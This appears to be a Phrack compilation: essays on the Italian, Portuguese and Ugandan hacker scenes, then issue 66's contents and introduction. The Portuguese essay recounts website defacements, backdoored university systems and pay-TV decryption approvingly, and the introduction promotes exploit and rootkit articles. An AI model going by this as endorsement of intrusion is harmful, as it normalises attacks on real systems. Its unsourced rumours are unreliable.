=46rom 1987 to 1998 *the* fanzine of the Italian underground was Decoder (published by ShaKe Edizioni Underground, a cyberpunk cooperative based in Milan): covered subjects included hacking, hacktivism, networks, cyberpunk culture, counter‑information, leading figures and events from the international scene, virtual reality and new technologies. As Decoder was the only printed underground zine during those years, a few hacking/phreaking e‑zines were released: The DTE222 Technical Journal (1987) and The Black Page (1994): altough those experiences did not last as long as Decoder and did not focus on international scene, their technical level was considerable.

In 1996 the first number of System Down was published, an e‑zine written by some users of IRCNet channels #cybernet and #hackers.it. Quality and technical level of articles marked a drop compared to previous zines, because authors were largely young guys that had started hacking just after the Internet boom, they were not very conscious about hacker culture and the past works of the Italian underground.

Year 1997 saw a flourishing of new groups that lived hacking mostly as study and research about programming, networks, operating systems, instead of catching its political value and focusing on its consequences for the society. In the beginning members of those organizations were for the most part low skilled, but many of them were higly motivated, tenacious, capable of learning quickly and they reached a very good technical level in a very few years.

Orda delle Badlands was a crew especially dedicated to owning systems on Internet and to ircwar (deprecable activity, but widely exercised over those times). The experience exhausted in few years because the engine of the group was in fact the cooperation within actions engaged by its charismatic leader (that was nearly worshipped); in the long run that proved to be an insufficient incentive, the crew closed and some of its members joined other groups.

Antifork [7] (formerly known as disLESSici) more than a crew is a 'hackers research virtual lab', a place where hackers can share their techniques and codes following open source and full disclosure philosophies. Between Antifork members there are also creators of well known tools like ettercap. Antifork software is available through their website and public access CVS.

The S0ftpj [8] group reunited people with different skills and backgrounds: cyberpunks, sysops, coders, virus writers, security and privacy researchers, hardware and network experts. Since the beginning the group stood out out by its will to collaborate and confront with other realities of the Italian underground (this explains the notable amount of its releases distributed via its website). S0ftpj team skills cover a wide range of fields ‑ it has been contributing to many events in the country holding workshops mainly focused on its research in kernel hacking and new privacy enhancement technologies.

In the meanwhile, as these new groups were appearing, the fusion between ECN/CyberNet hackers and the squat scene brought in 1998 to the first Hackmeeting [9], a yearly 3‑days hacker con "without *organisers, teachers, public and customers* but with *sharers*", held in a T.A.Z [10] and then totally self‑organized. Altough the level of its speeches is not always very high, Hackmeeting has become a unique opportunity to have fun and discuss with people from different realities and feel the informal atmosphere of old times ‑ free of commercial influences. In 1999 the second Hackmeeting promoted the idea of "hacklabs", laboratories mainly hosted by social centres where hackers could meet in real to share and develop their do‑it‑yourself attitute and their knowledge about programming, technologies, media activism, privacy and cyber‑rights. After Freaknet Medialab [11], the first Italian hacklab and home of radio#cybernet, opened in Catania in 1995, other hacklabs popped out in biggest cities of the country (Florence, Milan, Bologna, Turin, Rome).

In spring 1998, when System Down stopped publication, S0ftpj and Orda delle Badlands started a new e‑zine called Butchered From Inside (BFi) [12] that dealt with various topics (h/p, virus, reversing, reports from cons, underground culture, ethics) following a semi‑disclosure policy (no complete and ready to use exploits and tools, but techniques). At first the technical level of articles was low, but it quickly improved and from its second year of life it already distinguished itself by its originality and quality of its articles. BFi documented the growth of new characters in the Italian scene, in the course of time it adopted an acceptance policy for articles similar to the one used by Phrack and today is also read by non‑Italian people thanks to its English, French and Spanish translations. BFi is written by hackers that belong to many organizations, indipendent researchers and, obviously, by S0ftpj members who have been editing and contributing during these years.

BFi has provided an example of the good spirit and built a virtuous circle where new ideas and techniques, at first explained in the articles, inspired other hackers to develop them further and publish them in later articles. The feeling of a steady continuity between works made by different contributors was great, so BFi launched successful collaborations between hackers. In autumn 2001, BFi hosted an important debate about a subject that had been in the background for long time, but that had not been discussed publicly yet: feasibility of hacking without political connotations. That topic of course was not exhausted in that circumstance and was going to resurface periodically: that discussion anyway helped all parties to think about it and confront with each other: "politicals" understood that a big effort in experimenting new techniques was becoming foundamental to fight their battles efficiently, while "technicals" acquired a stronger consciousness of their actions.

Sikurezza.org [13] has been another good project aimed to develop discussions about computer security. It was established in 1999 with a few open mailing lists, where advanced topics could be talked over by hackers in a vendor‑free, no‑profit and full‑disclosure atmosphere. Unluckily, in parallel with the dramatic increase in subscribers and posters, the technical level of posts progressively and necessarily has decreased through the years, altough the list still represents an important community credited also by the underground. Moreover, researchers presenting themselves under Sikurezza.org umbrella dictated a new style and quality standard in security speeches for events held in Italy.

Other active hacking groups in those years were Spippolatori, Packet Knights Crew and S.P.I.N.E.: some of them released interesting stuff but they all eventually closed by 2005. There were also many attempts to start new e‑zines. Apart from OndaQuadra that contained also a few nice articles, quality was low and every new e‑zine started talking about hacking from a very basic level instead of learning and catching inputs sent from other previous editorial experiences.

New school Italian phreakers mostly have been interested in studying PSTN/ISDN, phone kiosks and magnetic cards, cellular cloning and VoIP. BFi published various articles on Fastweb, the biggest national fiber optic ISP. Fastweb Milan metropolitan network has been the favourite playground for pioneering VoIP and IPTV hacking. Since 1998 the Spaghetti Phreakers [14] website and mailing list have been an archive and meeting point to experiment and learn and contributed in keeping alive interest about phreaking among new generations.

The Italian underground counts talented reverse engineers and software crackers; some of them have been members of renowned international cracking groups or the cracking university +HCU. Web sites like Universita' Italiana Cracking[15] (resembling the teaching style of +HCU) and 3564020356 [16] have been running for many years and provide nice communities and huge archives of tutorials and technical documents. RingZ3r0 and RACL were other two groups that published good textfiles about reversing but they are no more active.

Italy is a country with a long and prolific artistic tradition and the underground has got its own artists too. There have been many good demo groups (for a comprehensive list, check the site Scene‑IT [17]) and some demo parties: "The Italian Gathering" organized by Metro Olografix from 1996 to 1998 in Pescara, a demoscene area within Codex Alpe Adria [18] (a wider event also featuring retrocomputing, emulation and alternative systems) from 2004 to 2006 in Udine and since 2007 the HORDE [19] demoparty. Prof. Bad Trip [20] has been a peculiar experimental artist capable of interpreting cyberpunk offering a visual perspective on themes like cyborgs, mutants, polluted metropolis from a disturbed future and so on. It is worth mentioning, in the end, the graphic novel "Uccidere un Hacker" [21] (the Italian for "Killing an Hacker") by Andrea Ferraresso inspired by the story of the German hacker Karl Koch.

In the field of privacy, a milestone was erected in 1998 with the book Kriptonite [22] written by hackers from ECN/CyberNet. Kriptonite extensively covered theory and practice of topics like cryptography, anonymous remailers, nym servers, steganography, voice encryption and packet radio.

Somehow influenced by Kriptonite, Progetto Winston Smith (PWS) [23] has been working since 1999 to sensibilize netcitizens about the risks of technocontrol and network surveillance. PWS mantains a website providing information about privacy enhancement technologies, for both administrators and end users. Moreover PWS organizes every spring in Florence a free convention called E‑Privacy [24]. The con develops in two tracks where privacy related topics are discussed at a legal and technical level; it also hosts the local cerimony of Big Brother Awards for the yearly best privacy violators in Italy. Besides E‑Privacy there were other events about privacy and freedom organized by Metro Olografix like the Metro Olografix Crypto Meeting and Cyber Freedom.

Autistici/Inventati (A/I) [25] was born in 2001 as a collective of people from hacklabs and media activist and its main effort has been to build a server that offers free services like web/blog/mail hosting, anonymizer, anonymous remailer and mailing list management for activits and people desirous of privacy. The A/I server, due its policy voted to free speech, had to be defended in tribunal many times. In summer 2005, A/I discovered that its server had been phisically compromised, and that the Italian police had had access to its SSL keys (which allowed them to monitor all the traffic for a whole year). The collective reorganized and deployed the so called "R* Plan": a fresh decentralized redundant network infrastructure with servers located in different countries and jurisdictions. As well as for any provided service, A/I made technical documentation for Plan R* [26] avaible on its site. Thanks to the work by PWS, A/I and individuals, Italy boasts various TOR and Freenet nodes as well as anonymous remailers and nym servers.

Analyzing this short story so far you, the reader, could argue that the underground in Italy is very healthy, but unfortunately the expression "zombie‑scene" used by Duvel in last Phrack issue [27] fits well its real current status.

An alarming matter of fact is the big number of people once in the underground that now collaborate with computer crime units or work for companies providing malware and services to law enforcement agencies. These people have been largely contributing to the death of the the underground in Italy: even when they did not consciously fight other hackers, the lack of trust and paranoia acted as disgregating forces against groups and cooperations. The underground has shown not only it is not strong enough to refuse working for law enforcements, but it is not even able to isolate people that publicly claim to partecipate and belong to the underground while at the same time working for the police.

Wounds are made to the underground not only by the ones who explicitly want to strike it, but also from entities willing to exploit it. The Hacker Profiling Project (HPP) applies criminal profiling methodology to enable analysts to identify the kind of attacker and to anticipate his next moves. It tries to accomplish its goal by collecting questionnaires from hackers and deploying honeynets. Altough HPP creators, that are italians, promote their work between hackers stating they want to break stereotypes about the hacker figure, this sounds a bit bizarre... their real goals are quite evident to everybody. Zone‑H [28] is another attempt to suck from the underground giving back shit to it. The archive of defaced websites lacks the good spirit of the old Attrition.org and the primary purpose of the portal activities is to keep high the perception of an evil hacker menace to sell more ethical hacking courses and services. The organization has been able to attract a few young guys and exploit them in borderline actions (the founder has been arrested in connection to the Telecom Italia spying scandal [29]). It seems that in italy the more people use the word "ethical" the less they prove to really have an ethic.

Like everywhere, nowadays many Italian hackers are in the security business and have stopped releasing their advances and works through underground channels. The problem is not the fact that they speak at commercial cons, but the limited amount (and sometimes lack of free access) of knowledge they usually provide in such events. Those people largely made their bones inside the underground communities and they learnt a lot from underground publications and releases. It is then auspicable that hackers working in security field would keep showing their slides at cons but also give back to the underground what it deserves, that is a detailed view of their researches to let other hackers study, learn from and improve (or thwart, this is part of the game, sorry) them.

In this discouraging scenario the hackmeeting community has been always managing to wake up a few mounths before the yearly meeting and make it a nice event, but it has experienced difficulties in bulding a continuity of activities during the rest of the year between consecutive meetings. Number of hacklabs in the country also decreased in last years. In 2004 Metro Olografix organized MOCA, a hacker summer camp run in Pescara that resembled the CCC camp and was a great success. The experience it is likely to be repeated in summer 2008. In recent times Net&System Security has stood out among technical cons because of medium‑high quality of its speeches; the con is held every year in Pisa. Old groups appear dormient and only a few public releases are published. Also BFi magazine has progressively decreased its number of articles per year until 2006, but last year marked an inversion of this trend that made room for a hope in a renewal of activity in a near future. A few new groups have released good stuff but their names are not cited here because they are not underground‑only oriented ‑ they also offer business solutions.

Italian underground is still active, but most of old hackers keep a low profile and rarely make their works publicly available. Most groups and e‑zine sites has been put offline by their staff depriving new generations from accessing a part of the underground history and culture. The underground should exploit new web technogies to regain its past visibility and influence (do "media saturation" and "cDc" remind you of anything?) on young talents to offer an alternative perspective than the one proposed by the world of commercial security.

Hackers now employed in the ICT industry should understand the risks of underground death and make an effort to spread knowledge coming from their research through underground vectors and methods and taking back advantages offered by a review and comparison with the community.

Limits imposed by new laws and extended technocontrol would hopefully act as a strong incentive for the underground to get more united and reactive.

Hackers role is to make the future more *free*, not (only) more (IT) secure. Join the underground, keep working for and with the underground if you care about your freedom, in Italy and everywhere.

[0] International Scenes

Phrack Magazine Volume Six, Issue Forty‑Seven, File 21 of 22 http://www.phrack.org/issues.html?issue=3D47&id=3D21

[1] E.C.N. European Counter Network http://www.xs4all.nl/~tank/ecn/

[2] PeaceLink

http://www.peacelink.it/

[3] Luther Blisset

http://www.lutherblissett.net/

[4] ALCEI Electronic Frontiers Italy

http://www.alcei.it/

[5] Metro Olografix

http://www.olografix.org/

[6] Isole nella Rete

http://www.ecn.org/

[7] Antifork

http://www.antifork.org/

[8] S0ftpj

http://www.s0ftpj.org/

[9] Hackmeeting

http://www.hackmeeting.org/

[10] Temporary Autonomous Zone http://en.wikipedia.org/wiki/Temporary_Autonomous_Zone

[11] Freaknet Medialab

http://www.freaknet.org/

[12] Butchered From Inside

http://bfi.s0ftpj.org/

[13] Sikurezza.org

http://www.sikurezza.org/

[14] Spaghetti Phreakers

http://www.spaghettiphreakers.tk/

[15] Universita' Italiana Cracking (UIC) http://www.quequero.org/

[16] 3564020356

http://3564020356.org/

[17] Scene‑IT [!]

http://scene‑it.untergrund.net/

[18] Codex Alpe Adria

http://www.0xaa.org/

[19] HORDE

http://horde.untergrund.net/

[20] Prof. Bad Trip

http://www.profbadtrip.org/

[21] Uccidere un Hacker http://digilander.libero.it/code6502/

[22] Kriptonite

http://isole.ecn.org/kriptonite/

[23] Progetto Winston Smith

http://www.winstonsmith.info/

[24] E‑Privacy

http://e‑privacy.winstonsmith.info/

[25] Autistici/Inventati

http://www.autistici.org/

[26] Plan R* Orange Book http://dev.autistici.org/orangebook/

[27] A brief History of the Underground scene

Phrack Magazine Volume 0x0c, Issue 0x40, Phile #0x04 of 0x11 http://www.phrack.org/issues.html?issue=3D64&id=3D4

[28] Zone‑H

http://www.encyclopediadramatica.com/Zone‑H

[29] Telecom‑SISMI Scandal http://en.wikipedia.org/wiki/SISMI‑Telecom_scandal

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Portuguese Scene

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(By Eurinomo and Quickzero)

‑ The evolution of the Internet

When Internet showed up, it was very expensive, even around 96/97 we had to pay something like 1.50Euros per hour to the ISP, plus, around 1 Euro per hour to the Phone company for a Dial‑up connection.

Some years later, internet got cheaper, in fact, free! ISPs started racing on giving away free dial‑up accounts without any limitation of time, they even gave CDs with already created accounts. Still, we had to pay the phone company.

Around 2000/2001, ADSL and cable connections started showing up, it was kind of cheap, around 35Euros per month for a 512k connection, plus the 15Euros per month for the phone line or cable. There were no time limitations, only traffic limitation around 3GiB. A lot of people started showing online, for most of them Internet was a new world. Some people started creating domestic servers, sharing information, code, and software.

Years later, 24mbps connections were made public using ADSL2+, and it just cost around 35Euros per month on total, with 60GiB traffic limit, so people started to take this advantage to trade games and movies.

On the present date, OC connections are available to the public on the capital (Lisbon), an OC connection, up to 60Mbps, costs something around 50Euros per month.

On resume, we had a slow start on internet service, but now he have a kind of quick evolution.

‑ The evolution of technology

Technology always has been expensive, even now, electronic parts are very expensive, but computers, are getting cheaper and cheaper.

I remember when I bought my first x86, it was a used Pentium‑90, 16MiB of ram, 1GiB of HD, this all inside a heavy Big‑Tower, it cost something around 700Euros, remembering that it was a used computer, and the cheapest price I could find, the best computer around that time was a Pentium‑133. A new computer (Pentium‑133) cost something around 2000Euros.

Around 2000/2001, computers started to get cheaper, more people started to buy computers (at that time, not many people had one).

On the present date, anyone can buy a good complete computer (or laptop) with less than 400Euros.

Only recently with this cheap technology, government and other high entities documentation and information meet the digital world, most of it is/was stored in hand made paper work.

‑ The evolution of society

Portuguese people may have an extreme reputation on sailing and discovering

'new worlds', but it seemed that all this ended up a few centuries ago.

Nowadays, society is a lot stupid and ignorant, they started to loss the pride of being Portuguese, the pride of the world not being enough for everyone and still having half of it on they're hands, the courage to make discoveries, and ending up on people that are happy if they have food on the table, and a good reality show or soap opera on TV.

Society gives more value to someone that does something using the tools of other person, that the person that made those tools. Per example, they consider an expert, someone that unlocks mobile phones without knowing what he is actually doing, without knowing what is behind it. They give more importance to someone wearing a tie, than someone dressed normal, they also give more importance to someone that doesn't know what he is talking about but has a PhD or something, that someone that knows a lot about what he is talking about, but doesn't have any diploma.

The term 'hacker', is not very popular in society, the last time it appeared on TV was two years ago, in the format of a interview with someone calling himself 'buzzybee', he was only a script kiddie that did some defacing and carding, was self proclaiming himself a 'hacker' and showed up on the news, saying that he was able to do get free stuff using carding, and had access to any site of the internet and so on, everyone that was in the scene knew this kid real name, phone, address and age, even thought he hadn't many problems with the police.

‑ The evolution of the scene

Finally the part of most interest, the Portuguese scene is kind of obscure, almost no one outside the scene knows what in fact is going on. No one knows when the scene really started since it started before the boost of telecommunications, a guess goes around 70s and 80s.

In the 90s, some groups started to show up, groups like Kaotik, Pulhas, Ironik and a few others, even an e‑zine came up, called 'PT Zine', but died on the third release. Some of the groups still exist to this day, but not much information comes out of it. Also, some individual people started to show up in the form of Hackers, Crackers and Phreakers.

The most notorious groups were:

Pulhas: Founded in 1994 by Kennobi. This was the oldest Portuguese group. Actually is 'dead', but they had their golden age in the 90's by the inumerous papers that they wrote and the exploit/code database to the Portuguese mainstream.

Toxyn: Founded in 1996 by m0xx. This group is notorious known by their campaign against Indonesia, when East Timor was occupied by Indonesia millitary. The attack against the IT indonesian infrastracture was motivated by the currently abuses of Indonesian military officers against east timor people. Toxyn start their campaign with this statment: "We hope to call attention to the necessity of self‑determination and independence of the people of Timor, oppressed and violated for decades by the government of indonesia. We hope you give your full attention to this historical step towards freedom, we ask that you help us fight the tyranny of Indonesia occupating Timor." The campaign was started at 10/2/1997. The fall of the Toxyn, has began when m0xx, has accepted and gave inumerous interviews about the campaign and about the portuguese hacker scene, exposing plans and actions of the scene. Toxyn group was helped by Savage, an known spanish hacker, who developed the exploit, that Toxyn Group used to break in in the .ID servers.

KaotiK: Founded in 1997(??). They've been a very active group in the East Timor campaign, hacked and defaced inumerous .id websites. They've created the first ezine about hacking & security to Portuguese people. The e‑zine was extinct after 3 editions. KaotiK has reach their fame in the Portuguese Scene after a member disclosure of some flaws in various Microsoft products.

F0rpaxe: F0rpaxe was maybe, the most mediatic group/'hacker'/troll, for the worst reason. This character was the responsable for the first major attack against US .mil targets in 1999. The attacks were allegedly being carried out in retaliation for Federal Bureau of Investigation (FBI) raids on suspected "crackers" in several U.S. cities. The attacks hits various governemental and military webservers including FBI, NSA and the Navy.

East Timor Campaign: Was one of the firsts major hackivism campaign worldwide. Timor was in Portuguese administration until 1975, after Portuguese government abandoned that country, Timor was invaded by Indonesia military army, who oppressed, violated, raped and murdured for most 20 years. Various Portuguese hackers and groups decided to begin a campaign to show to the world the truth about the Indonesian occupation in East Timor. The East Timor campaign started in 1997 and was finished in 1999. Various military, governement and corporativ indonisian websites had been defaced. The defaces was to aware all people in the world about the illegal occupation of East Timor, the mission was accompliced, the attacks were transmited to the media all over the world. The campaign was finished when m0xx, the lider of the group Toxyn, gave inumerous interviews to the midia, exposing then the entire portuguese scene to the public.

[5~Between 2002 and 2004, two Portuguese hackers also did some 'infamous' work, these two hackers gained access to FCCN ('Fundacao para a Computacao Cientifica Nacional' / Foundation for National Scientific Computation), witch was backdoored with a reverse ICMP backdoor developed by them, witch rumours say it is still active. They also gained access to numerous universities and were backdoored the same way, this includes the 100 machines cluster 'Centopeia' from 'Faculdade de Coimbra'. A lot more work was made, including the database server of 'A.M. GonÃ§alves' and 'Salvador Caetano', Portuguese Toyota distributor. Then they just disapeared from the scene.

Some of the people inside the scene are found on the x86 '0xD9D0', those whom know, know what I'm talking about.

On the start of the new millennium, an explosion of 'lame' groups started, most of them were kids playing up with Trojans, others, were script kids playing up with public exploits, most of this groups are found on a Portuguese IRC network, called PTNet. Some of these kids turned up to be carders, using databases found by 'Google hacking', or simply by asking people on some IRC networks. Some of these kids ended up having problems with the police, but nothing serious.

Also in the start of the new millennium, satellite and cable Phreakers starter to show up, breaking encrypted signals, an unnamed box came out, that was plugged in the TV SCART connection and an external 9v power supply, and unlocked (in fact, it broke the Nagravision encryption) every single channel there was on cable TV, this box for a long time was though to be made outside of Portugal, until I had the pleasure to meet the original creator of it, and guess what, he was Portuguese, and lived next to me, he explained me how it really worked, and how was the original version, since the version that everyone had, that was commercialized by lame groups searching for profit, had way too much components that it didn't need at all, it even got some traps, only to make itself more expensive, and difficult to make, in order to avoid people commercializing it. Also, satellite FTA boxes started to get themselves modified nationally, in order to break satellite TV encryptions, like Nagravision (used by or cable TV provider, 'TVCabo'). So did the original TVCabo cable boxes, some national hackers were able to hack the firmware, in order to get its unique ID (Boxkey), and created cards that once plugged, were able to break the signal. After this, this knowledge started to get public, but on a 'pratical' way, and lots of people started to make profit out of it, without knowing what they were really doing. In other words, they knew if they bought this and that, and used this and that software, were able to have free satellite/cable TV, and they could seal later to other people. An example was the first unnamed box that was created, it cost 4Euros to build, but people were sealing it up to 100Euros. So do the FTA boxes, cost something around 70Euros unmodified, and were sold for 250Euros modified at no cost.

Nowadays, the scene is still obscure, and people are still ignorant, sometimes, there is an exception, like when I went to an interview to a part of the Bosch Group, where the guy interviewing me, by reading my curriculum started to laugh silently, and said to himself 'A hacker..' and 'hackers do not harm anyone... only if pushed too', without me making any mention to illegal activities (duh) or being member of this or that group. When I was guessing myself unemployed, I got myself well employed, and working on more areas than I was asked to, I even got myself involved with robotics, automation, and electronics, when I was attending the interview as web developer for an Intranet. Later, we found out that I already knew him from the scene, and so did he knew me.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ugandan Scene(surprise!!!!!)

============================

by gmac

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

For those who don't know what Uganda is n are too lazy to use google, well in short its located on the African continent more specifically in Eastern africa. Still lost then this will clear it all up for you, have you ever heard of a movie called Last King of Scotland if yes then you know Uganda and if No then use google.

Sometime back.....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Cutting edge computer technology is as you correct in assuming fairly new in the Ugandan context, it cannot be more than 13 years old so generally hacking on our scene had maintained a fairly urban legend status, not much is avaliable on any hacking groups back in the day to be honest to my knowledge they were almost none existent.

Present....

‑‑‑‑‑‑‑‑‑‑‑

Currently as technology advances the scene has surfaced with formation of groups like gsquad by yours truly which is i believe the first of its kind here, although hacking has still maintained its urban legend status the scene is dominated by a few knowledgeable individuals. Bu..t the winds of change are upon us because i have seen the advent of a new generation with a desire which ofcourse has been fueled by hacker related movies like most recently Die Hard 4.0. The gsquad remains the only active group providing help to individuals on request and ofcourse releasing zines(which was but made a print debut recently) which has won many fans but ofcourse inspired by Phrack. This new generation needs content and i think Phrack is our one stop Hacking Content Provider (HCP,oh i made that up).

We are late comers onto the scene but we will catch up because we have the spirit, and oh it was BloodAxe's first appeal that drove me to starting the gsquad so i hope the circle of lost hackers' appeal will inspire another individual somewhere on this planet.

We maybe in different lands but we are part of the same underground, so we will survive the media caused division which started all these different kind of hats i hear white hats....erm...black...grey we may soon hear pink hats(ie blondes running security sites)

The spirit still lives on but its in a critical state......

Busts....

‑‑‑‑‑‑‑‑‑

This is almost a trivial joke because without any real laws noone can get busted, but there is a motion to release laws due to rising fraud cases. But of course there have been cases of major censorship, call monitoring and all that by ISPs and of course the govt.

Appeal....(am sorry to put this part but i had to)

‑‑‑‑‑‑‑‑‑‑

I read the Underground Spirit article and i really think the onus is on all of us to stage what i would call "a last stand" [like in X3] to stop the decline of the underground. Lets not stop at reminiscing the days of Mentor, BloodAxe, KL, the drama involving Agent steal and the like and start living them and all this starts with each individual making this "stand" a personal thing not just a battle for the circle of lost hackers or a few individuals. I really think what has hampered the growth of the underground has been lack of.....lets call it selfishness by the knowledgeable(read 3l33t) who undermine those new to the scene hence making them only become script kiddies atmost. This unwillingness to share knowledge has seriously hampered the underground's growth making the curious hunt for this knowledge from "security" sites.

Underground...Underground..... UNDERGROUND we have a platform of change and that platform is PHRACK...

Hey sorry it sounds like a battle cry...but it is!

Long live Phrack

66

- Introduction by TCLH

- Phrack Prophile on The PaX Team by TCLH

- Phrack World News by TCLH

- Abusing the Objective C runtime by nemo

- Backdooring Juniper Firewalls by Graeme

- Exploiting DLmalloc frees in 2009 by huku

- Persistent BIOS infection by aLS and Alfredo

- Exploiting UMA by argp and karl

- Exploiting TCP Persist Timer Infiniteness by ithilgore

- Malloc Des-Maleficarum by blackngel

- A Real SMM Rootkit by Core Collapse

- Alphanumeric RISC ARM Shellcode by YYounan and PPhilippaerts

- Power cell buffer overflow by BSDaemon

- Binary Mangling with Radare by pancake

- Linux Kernel Heap Tampering Detection by Larry H

- Developing MacOS X Kernel Rootkits by ghalen and wowie

- How close are they of hacking your brain by dahut

Introduction

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x01 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By The Circle of Lost Hackers ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's imagine a man, sitting on the Moon and looking down to this 75%‑water‑25%‑ground Planet. He doesn't know anything about us. Neither we do about him, but that's another story, maybe another Intro.

He sees this Internet madness going on down there. He sits and watches.

"This is not different from your favourite bar", a guy behind our man says in a smile.

Down there a bunch of bar tenders provides connections to everybody. They earn their life out of that, so every so often they just scrappy down their service. There's water in my drink, sir, and there's a strange rate of packet loss on my P2P traffic. There are a bunch of gangsters: they want to control the business, they want to know who does what and they try to shut down whoever is not okay with that. We have cleaned their faces, put them on TV and we keep on calling them politicians. Good luck with your laws, we'll find our way out, somehow. There are beautiful girls, there are married couples, there are young guys, there are usual and occasional customers. Everybody is down there, everybody has his own chance to tell his story. If you're getting to this bar for the first time, you might spot some guys that are just different. You can't say why, but there's something. It doesn't matter if they are married, young, old, musicians, workers, even bartenders, this is just the outside. There's another life, behind that, it's now so‑damn‑clear that they're just trying to keep a balance with it.

"You used to be one of them, didn't you ?"

Our man‑on‑the‑moon asks, looking at the guy. But there's no need of an answer, he is just different. You can't say why, but there's something. Somebody once told me that Heaven is on the Moon.

"What's your name again ?"

"Cliph."

[ I don't know in what you believe or even if you believe. In the end, it doesn't really matter. This is not a story about science or religion or humanity, this is a Good‑Bye. To a friend.. ]

‑‑‑‑‑[ Phrack Issue #66

Welcome to Phrack, by the community, for the community.

Its with an incredible pleasure that we present you our newly released issue :

Phrack Magazine #66

For this release, we are gracious to be interviewing the PaX Team, whose work has made significant evolutionary and revolutionary advances in security. This is a radical change from the Phrack Prophile in issue #65 where the prophile was about the UNIX terrorist.

Some could easily detect in this shift a certain seek for identity from the Phrack staff. As if the identity of Phrack had to be refined at all.

In the previous prophile, we had interviewed probably the most hated "black hat" hacker, and in the current prophile, the most hated "white hat" hacker. Perceived as such. But the reality is more faded and every hacker has this paradoxical identity where each side of the barrier suddenly become very familiar to the other. And this is where the great hacker shall remain.

Phrack keeps its identity. A magazine for all hackers, by all hackers.

The Hacker culture.

To the very firsts who don't believe in the virtue of the Underground, I answer:

Kill the underground, you won't kill the Hacker culture.

We are mourning one of the best hackers of recent time today. His spirit and contributions will remain part of the Hacker culture. We dedicate this issue of Phrack to Cliph, who left us really too early this year. Cliph did influence all kernel exploit writers in the last 5+ years with his advances on exploiting the Linux kernel.

‑‑‑‑‑‑‑‑‑‑[ Phrack Issue #66 : what you were waiting for

We have the great pleasure to release today another excellent selection of the best Hacking articles this year. An issue full of new exploitation techniques and ground work on writing attack software.

[‑]=====================================

0x01 Introduction TCLH

0x02 Phrack Prophile on The PaX Team TCLH

0x03 Phrack World News TCLH

0x04 Abusing the Objective C runtime Nemo 0x05 Backdooring Juniper Firewalls Graeme 0x06 Exploiting DLmalloc frees in 2009 Huku 0x07 Persistent BIOS infection .aLS &

Alfredo

0x08 Exploiting UMA : FreeBSD kernel heap exploits Argp & Karl 0x09 Exploiting TCP Persist Timer Infiniteness Ithilgore 0x0A Malloc Des‑Maleficarum Blackngel

0x0B A Real SMM Rootkit Core collapse

0x0C Alphanumeric RISC ARM Shellcode Y.Younan &

P.Philippaerts

0x0D Power cell buffer overflow BSDaemon

0x0E Binary Mangling with Radare Pancake

0x0F Linux Kernel Heap Tempering Detection Larry H. 0x10 Developing MacOSX Rootkits Wowie &

Ghalen

0x11 How close are they of hacking your brain ? Dahut

[‑]=====================================

This issue has some evil number.. with a lot of evil content. Phrack proves once more how we can, every year, push the state of the art further its known limits. Some of these exploits articles are really innovative and we are proud to be able to release those contributions in our columns. Some others bring their values on different architectures. So, check out how to attack the Objective C runtime, the latest Linux heap allocator, the FreeBSD kernel heap management system. A special paper is the one of Black about explaining and giving more insights and code on the groundbreaking work previously released as the Malloc Maleficarum technique(s). Black did rework his article quite a lot since the first version he did, and we were impressed by the evolution. This will certainly help the younger audience to persevere in the realm of heap overflow exploitation in the most recent restrictive heap management implementations on Linux. We also have articles on alphanumeric ARM shellcode (long standing work) and exploiting the PowerCell architecture. Thats indeed a lot of exploitation.

Beside exploit writing, we propose to you a couple of rootkits papers. Graeme shared his experience on backdooring Jupiner firewalls : check out the article for all details. Our friends from Argentina finished their stub just before the release and we could integrate their very first article about persistent BIOS infection. Other advances at the lowest level are also presented by the article of Core collapse, where he demonstrates how to make use of the System Management Mode interrupts in a real SMM rootkit. For more intermediate hackers of the OsX world, a nice state of the art article on OsX backdoors are given is the end of the issue, as an easy read. Its always good to have this kind of code ready to be used when you need it.

Finally, as it always happen in Phrack, we have those articles that don't match with the others. This is the case of our single reverse engineering article in this issue, presenting the RADARE framework. RADARE is really an interesting tool, and some of its features are better explained with a tutorial like this one. Check out the RADARE website for a more complete documentation and to grab the latest code. Pancake and the RADARE team are always committing new stuffs in there and the list of supported features is impressive, and the scripting language really flexible and expressive for low level operations on binary files.

Another special article is the one of Ithilgore about exploiting weakness in the TCP protocol. This is a great article, an innovative work we would like to see more often proposed for publication in Phrack. We still don't realize entirely how far Phrack is breaking through by providing all those technical details about the most alternative techniques.

We were previously talking of PaX and evolutionary changes, we have an article discussing kernel heap security, and how it can be made more resistant to attack. It has been rare to find mitigation articles in Phrack, but its not the first time this has happen, nor will it be the last. Sometimes, mitigation articles also contains some useful information for the exploit writer. Sometimes, offensive articles also contains some useful information for defense purposes.

Finish up your mind by reading the paper on Hacking your Brain, a refreshing cyberpunk inspired work by Dahut.

In the hope that your neural plugs were not wired in vain.

‑ The Phrack staff

‑‑‑‑‑‑‑‑[ Greets for issue #66

We'd like to thank (in no particular order):

‑ PaX team‑ karl‑ pancake

‑ Graeme‑ Ithilgore‑ Larry H.

‑ nemo‑ blackngel‑ Wowie

‑ Huku‑ core collapse‑ Ghalen

‑ .aLS‑ Y.Younan‑ Dahut

‑ Alfredo‑ P.Philippaerts

‑ argp‑ BSDaemon

